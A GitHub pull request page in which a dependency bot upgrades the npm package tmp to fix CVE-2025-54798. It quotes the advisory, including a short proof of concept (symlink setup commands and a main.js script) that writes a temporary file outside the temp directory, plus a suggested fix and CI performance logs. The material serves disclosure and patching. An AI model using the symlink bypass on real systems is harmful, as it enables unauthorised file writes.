Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Aug 6, 2025

This PR contains the following updates:

Package Change Age Confidence
tmp 0.2.3 -> 0.2.4 age confidence

GitHub Vulnerability Alerts

CVE-2025-54798

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink


Release Notes

raszi/node-tmp (tmp)

v0.2.4

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency label Aug 6, 2025
@netlify
Copy link

netlify bot commented Aug 6, 2025

Deploy Preview for brilliant-pasca-3e80ec canceled.

Name Link
🔨 Latest commit ba0399f
🔍 Latest deploy log https://app.netlify.com/projects/brilliant-pasca-3e80ec/deploys/69304d89d5806000099ec686

@github-actions
Copy link

github-actions bot commented Aug 6, 2025

🚀 Performance Test Results

Test Configuration:

  • VUs: 4
  • Duration: 1m0s

Test Metrics:

  • Requests/s: 44.42
  • Iterations/s: 14.81
  • Failed Requests: 0.00% (0 of 2672)
📜 Logs

> performance@1.0.0 run-tests:testenv /home/runner/work/rafiki/rafiki/test/performance
> ./scripts/run-tests.sh -e test "-k" "-q" "--vus" "4" "--duration" "1m"

Cloud Nine GraphQL API is up: http://localhost:3101/graphql
Cloud Nine Wallet Address is up: http://localhost:3100/
Happy Life Bank Address is up: http://localhost:4100/
cloud-nine-wallet-test-backend already set
cloud-nine-wallet-test-auth already set
happy-life-bank-test-backend already set
happy-life-bank-test-auth already set
     data_received..................: 964 kB 16 kB/s
     data_sent......................: 2.1 MB 34 kB/s
     http_req_blocked...............: avg=7.55µs   min=2.14µs   med=5.23µs   max=1.37ms   p(90)=6.31µs   p(95)=6.93µs  
     http_req_connecting............: avg=749ns    min=0s       med=0s       max=1.29ms   p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=89.36ms  min=6.38ms   med=74.65ms  max=522.1ms  p(90)=150.16ms p(95)=172.83ms
       { expected_response:true }...: avg=89.36ms  min=6.38ms   med=74.65ms  max=522.1ms  p(90)=150.16ms p(95)=172.83ms
     http_req_failed................: 0.00%  ✓ 0         ✗ 2672
     http_req_receiving.............: avg=91.26µs  min=25.81µs  med=80.85µs  max=1.32ms   p(90)=121.17µs p(95)=154.32µs
     http_req_sending...............: avg=38.52µs  min=9.75µs   med=27.57µs  max=2.85ms   p(90)=41.85µs  p(95)=56.63µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=89.23ms  min=6.22ms   med=74.51ms  max=522.04ms p(90)=150.06ms p(95)=172.72ms
     http_reqs......................: 2672   44.423756/s
     iteration_duration.............: avg=269.67ms min=153.82ms med=254.06ms max=1.06s    p(90)=333.25ms p(95)=369.93ms
     iterations.....................: 891    14.813461/s
     vus............................: 4      min=4       max=4 
     vus_max........................: 4      min=4       max=4 

@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch 3 times, most recently from 7646fc6 to 6b96d85 Compare August 13, 2025 16:49
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch from 6b96d85 to 35542ce Compare August 19, 2025 16:15
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch from 35542ce to ab4afac Compare August 31, 2025 14:34
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch 2 times, most recently from 0d3c0b6 to df21b6e Compare September 25, 2025 15:56
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch 3 times, most recently from 3ae02b7 to 69e9e3f Compare October 21, 2025 12:32
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch 2 times, most recently from 0c23b9a to 1dc11bc Compare October 31, 2025 16:10
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch from 1dc11bc to 8b81ae3 Compare November 10, 2025 17:16
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch from 8b81ae3 to 8941a71 Compare November 18, 2025 14:05
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch 2 times, most recently from 278a60f to c5111ad Compare November 27, 2025 08:14
@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch from c5111ad to ba0399f Compare December 3, 2025 14:47
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant

Morty Proxy This is a proxified and sanitized view of the page, visit original site.